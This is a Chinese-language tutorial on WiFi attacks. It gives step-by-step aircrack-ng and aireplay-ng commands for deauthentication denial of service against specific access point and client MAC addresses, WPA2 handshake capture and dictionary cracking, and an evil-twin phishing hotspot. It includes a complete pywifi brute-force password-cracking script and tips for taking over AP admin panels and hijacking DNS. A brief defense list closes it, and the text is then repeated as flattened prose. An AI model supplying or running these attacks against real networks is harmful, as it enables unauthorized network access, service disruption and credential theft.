浅析WIFI攻击手法
字数 2406 2025-08-23 18:31:18

WIFI攻击手法深度解析与防御指南

1. Deauth攻击详解

1.1 基本概念

Deauth攻击(解除认证攻击)是一种针对无线局域网(WLAN)的拒绝服务攻击方式。攻击者通过发送伪造的解除认证数据包,强制目标设备与无线网络断开连接。

核心原理

  • WiFi管理数据帧未被加密
  • 攻击者可伪造管理帧
  • 发送"取消认证"数据包切断AP与客户端连接
  • 无需破解密码,只需目标MAC地址

1.2 影响范围

  • 影响WIFI6(802.11ax)以下版本
  • 例外:802.11w协议可抵御此类攻击

2. 攻击实施步骤

2.1 准备工作

  1. 开启网卡监听模式

    airmon-ng start wlan0
    
  2. 数据包捕获

    airodump-ng wlan0
    

2.2 airodump-ng显示参数详解

参数 说明
BSSID 接入点的MAC地址
PWR 信号级别(-40强,-55平均,-70弱,-1超出范围)
Beacons AP发送的公告报文数量(约10个/秒)
#Data 捕获的数据包数量(WEP时为唯一IV计数)
#/s 过去10秒内每秒检测量
CH 通道号
MB AP支持的最大速度(QoS启用时显示"e")
ENC 使用的加密算法(OPN表示不加密)
CIPHER 检测到的密码(CCMP,WRAP,TKIP,WEP等)
AUTH 使用的身份验证协议(MGT,SKA,PSK,OPN)
ESSID 无线网络名称(SSID隐藏时可能为空)
STATION 关联站的MAC地址
Rate 站的接收和发送速率
Lost 过去10秒内丢失的数据包数量
Frames 数据帧数量
Notes 客户端附加信息(如EAPOL或PMKID)
Probes 客户端探测到的ESSID

2.3 精确目标捕获

airodump-ng -d 68:77:24:65:EE:CF -c 11 wlan0

2.4 Aireplay-ng攻击选项

选项 攻击类型 描述
0 Deauthentication Attack 发送伪造Deauthentication帧强制断开连接
1 Fake Authentication 伪造认证请求建立虚假会话
2 Interactive Packet Replay 选择性重放已捕获数据包
3 ARP Request Replay 重播ARP请求生成新流量
4 KoreK Chopchop WEP加密攻击,尝试解密数据包
5 Fragmentation Attack 分段Wi-Fi数据包破解WEP
6 Cafe-latte Attack 利用多加密密钥数据包攻击WEP
7 Client-oriented Fragmentation 针对特定客户端的分段攻击
8 WPA Migration Mode 尝试从WPA切换到WEP模式
9 Injection Test 注入数据包测试网络安全性

2.5 Deauthentication攻击实施

基本命令

aireplay-ng -0 10 -a DC:33:3D:76:55:10 -c 28:6B:35:26:D8:BF wlan0

参数说明

  • -0:取消认证
  • 10:发送的解除验证数量(0表示连续发送)
  • -a:接入点的MAC地址
  • -c:目标客户端的MAC地址(省略则针对所有客户端)
  • wlan0:接口名称

连续攻击模式

aireplay-ng -0 0 -a DC:33:3D:76:55:10 wlan0

移动设备注意事项

  • 移动端可能使用随机MAC地址
  • 此时只能不设置-c参数攻击所有目标

3. Deauth攻击的进阶利用

3.1 获取WIFI认证握手包

步骤

  1. 开始监听:

    airodump-ng -d DC:33:3D:76:55:10 -c 1 wlan0 -w test
    
    • -w test:将数据包写入以test开头的文件
  2. 执行Deauth攻击:

    aireplay-ng -0 5 -a DC:33:3D:76:55:10 -c 28:6B:35:26:D8:BF wlan0
    
  3. 成功获取握手包后,可使用aircrack-ng破解密码

3.2 同名WIFI钓鱼攻击

原理

  • 创建同名同密码的虚假WIFI热点
  • 利用Deauth破坏目标WIFI稳定性
  • 设备自动连接信号更强的钓鱼热点

前提条件

  • 已知目标WIFI密码

攻击演示

  1. 创建同名同密的虚假WIFI
  2. 通过Deauth攻击破坏目标WIFI
  3. 设备连接恶意WIFI

4. WIFI密码破解技术

4.1 aircrack-ng破解

基本命令

aircrack-ng -a2 -w passwd_dic.txt test-02.cap

参数说明

  • -a:强制攻击模式(1=静态WEP,2=WPA/WPA2-PSK)
  • -w:密码字典文件
  • .cap:捕获的握手包文件

指定目标方式

  1. 通过BSSID:

    aircrack-ng -a2 -b DC:33:3D:76:55:10 -w passwd_dic.txt test-01.cap
    
  2. 通过ESSID:

    aircrack-ng -a2 -e TP-LINK二楼 -w passwd_dic.txt test-02.cap
    

4.2 万能钥匙利用

  • 连接存在密钥的目标WIFI
  • 分享WIFI时截图二维码
  • 使用浏览器扫描二维码获取密码

4.3 Python-pywifi模块

特点

  • 直接操作网卡爆破
  • 无需握手包
  • 速度较慢
  • 支持WPA3加密

示例代码

import pywifi
import time
from pywifi import const

def scan():
    wifi = pywifi.PyWiFi()
    interface = wifi.interfaces()[0]
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r扫描 WiFi 中(' + str(3 - i), end=')')
    print('\r扫描完成\n' + '-'*38)
    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
    
    bss = interface.scan_results()
    wifi_name_set = set()
    for w in bss:
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    
    num = 0
    while num < len(wifi_name_list):
        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    return wifi_name_list

def wifi_password_crack(wifi_name):
    wifi = pywifi.PyWiFi()
    interface = wifi.interfaces()[0]
    wifi_dic_path = input("密码字典路径:")
    
    with open(wifi_dic_path, 'r') as f:
        flag = False
        for pwd in f:
            pwd = pwd.strip('\n')
            interface.disconnect()
            while interface.status() == 4:
                pass
            
            profile = pywifi.Profile()
            profile.ssid = wifi_name
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = pwd
            
            tmp_profile = interface.add_network_profile(profile)
            interface.connect(tmp_profile)
            
            start_time = time.time()
            while time.time() - start_time < 1.5:
                if interface.status() == 4:
                    print(f'\rWIFI连接成功!密码为:{pwd}')
                    flag = True
                    break
                else:
                    print(f'\r尝试破解WIFI,当前密码 {pwd} 。', end='')
            
            interface.remove_network_profile(tmp_profile)
            if flag:
                return

def main():
    exit_flag = 0
    target_num = -1
    while not exit_flag:
        try:
            print('WiFi破解工具'.center(35, '-'))
            wifi_list = scan()
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_num = int(input('请选择你要尝试破解的wifi:'))
                    if target_num in range(len(wifi_list)):
                        while not choose_exit_flag:
                            try:
                                choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                            except ValueError:
                                pass
                        if choose_exit_flag == 1:
                            break
                except ValueError:
                    pass
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e

if __name__ == '__main__':
    main()

5. AP在内网中的利用

5.1 基本利用方式

  1. 访问管理界面

    • AP默认地址通常是1或254
    • 访问80端口进入管理界面
    • 初始可能无密码或弱密码(如123456)
    • 或与WIFI密码相同
  2. DNS劫持

    • 通过DHCP修改DNS为恶意DNS
    • 实施钓鱼攻击
  3. 历史漏洞利用

    • 利用AP已知漏洞执行其他操作

5.2 实际案例参考

6. 防御措施

  1. 协议升级

    • 使用WIFI6(802.11ax)或支持802.11w协议的设备
  2. 加密配置

    • 启用WPA3加密
    • 避免使用WEP等弱加密方式
  3. 管理安全

    • 修改默认管理密码
    • 定期更新固件修补漏洞
  4. 网络监控

    • 监控异常解除认证请求
    • 使用专业工具检测伪造帧
  5. 客户端防护

    • 禁用自动连接功能
    • 使用VPN加密所有流量
  6. 物理安全

    • 控制AP物理访问权限
    • 合理部署AP位置减少信号泄露
WIFI攻击手法深度解析与防御指南 1. Deauth攻击详解 1.1 基本概念 Deauth攻击(解除认证攻击)是一种针对无线局域网(WLAN)的拒绝服务攻击方式。攻击者通过发送伪造的解除认证数据包,强制目标设备与无线网络断开连接。 核心原理 : WiFi管理数据帧未被加密 攻击者可伪造管理帧 发送"取消认证"数据包切断AP与客户端连接 无需破解密码,只需目标MAC地址 1.2 影响范围 影响WIFI6(802.11ax)以下版本 例外:802.11w协议可抵御此类攻击 2. 攻击实施步骤 2.1 准备工作 开启网卡监听模式 : 数据包捕获 : 2.2 airodump-ng显示参数详解 | 参数 | 说明 | |------|------| | BSSID | 接入点的MAC地址 | | PWR | 信号级别(-40强,-55平均,-70弱,-1超出范围) | | Beacons | AP发送的公告报文数量(约10个/秒) | | #Data | 捕获的数据包数量(WEP时为唯一IV计数) | | #/s | 过去10秒内每秒检测量 | | CH | 通道号 | | MB | AP支持的最大速度(QoS启用时显示"e") | | ENC | 使用的加密算法(OPN表示不加密) | | CIPHER | 检测到的密码(CCMP,WRAP,TKIP,WEP等) | | AUTH | 使用的身份验证协议(MGT,SKA,PSK,OPN) | | ESSID | 无线网络名称(SSID隐藏时可能为空) | | STATION | 关联站的MAC地址 | | Rate | 站的接收和发送速率 | | Lost | 过去10秒内丢失的数据包数量 | | Frames | 数据帧数量 | | Notes | 客户端附加信息(如EAPOL或PMKID) | | Probes | 客户端探测到的ESSID | 2.3 精确目标捕获 2.4 Aireplay-ng攻击选项 | 选项 | 攻击类型 | 描述 | |------|---------|------| | 0 | Deauthentication Attack | 发送伪造Deauthentication帧强制断开连接 | | 1 | Fake Authentication | 伪造认证请求建立虚假会话 | | 2 | Interactive Packet Replay | 选择性重放已捕获数据包 | | 3 | ARP Request Replay | 重播ARP请求生成新流量 | | 4 | KoreK Chopchop | WEP加密攻击,尝试解密数据包 | | 5 | Fragmentation Attack | 分段Wi-Fi数据包破解WEP | | 6 | Cafe-latte Attack | 利用多加密密钥数据包攻击WEP | | 7 | Client-oriented Fragmentation | 针对特定客户端的分段攻击 | | 8 | WPA Migration Mode | 尝试从WPA切换到WEP模式 | | 9 | Injection Test | 注入数据包测试网络安全性 | 2.5 Deauthentication攻击实施 基本命令 : 参数说明 : -0 :取消认证 10 :发送的解除验证数量(0表示连续发送) -a :接入点的MAC地址 -c :目标客户端的MAC地址(省略则针对所有客户端) wlan0 :接口名称 连续攻击模式 : 移动设备注意事项 : 移动端可能使用随机MAC地址 此时只能不设置 -c 参数攻击所有目标 3. Deauth攻击的进阶利用 3.1 获取WIFI认证握手包 步骤 : 开始监听: -w test :将数据包写入以test开头的文件 执行Deauth攻击: 成功获取握手包后,可使用aircrack-ng破解密码 3.2 同名WIFI钓鱼攻击 原理 : 创建同名同密码的虚假WIFI热点 利用Deauth破坏目标WIFI稳定性 设备自动连接信号更强的钓鱼热点 前提条件 : 已知目标WIFI密码 攻击演示 : 创建同名同密的虚假WIFI 通过Deauth攻击破坏目标WIFI 设备连接恶意WIFI 4. WIFI密码破解技术 4.1 aircrack-ng破解 基本命令 : 参数说明 : -a :强制攻击模式(1=静态WEP,2=WPA/WPA2-PSK) -w :密码字典文件 .cap :捕获的握手包文件 指定目标方式 : 通过BSSID: 通过ESSID: 4.2 万能钥匙利用 连接存在密钥的目标WIFI 分享WIFI时截图二维码 使用浏览器扫描二维码获取密码 4.3 Python-pywifi模块 特点 : 直接操作网卡爆破 无需握手包 速度较慢 支持WPA3加密 示例代码 : 5. AP在内网中的利用 5.1 基本利用方式 访问管理界面 : AP默认地址通常是1或254 访问80端口进入管理界面 初始可能无密码或弱密码(如123456) 或与WIFI密码相同 DNS劫持 : 通过DHCP修改DNS为恶意DNS 实施钓鱼攻击 历史漏洞利用 : 利用AP已知漏洞执行其他操作 5.2 实际案例参考 某AP漏洞案例1 其他厂商特定漏洞 6. 防御措施 协议升级 : 使用WIFI6(802.11ax)或支持802.11w协议的设备 加密配置 : 启用WPA3加密 避免使用WEP等弱加密方式 管理安全 : 修改默认管理密码 定期更新固件修补漏洞 网络监控 : 监控异常解除认证请求 使用专业工具检测伪造帧 客户端防护 : 禁用自动连接功能 使用VPN加密所有流量 物理安全 : 控制AP物理访问权限 合理部署AP位置减少信号泄露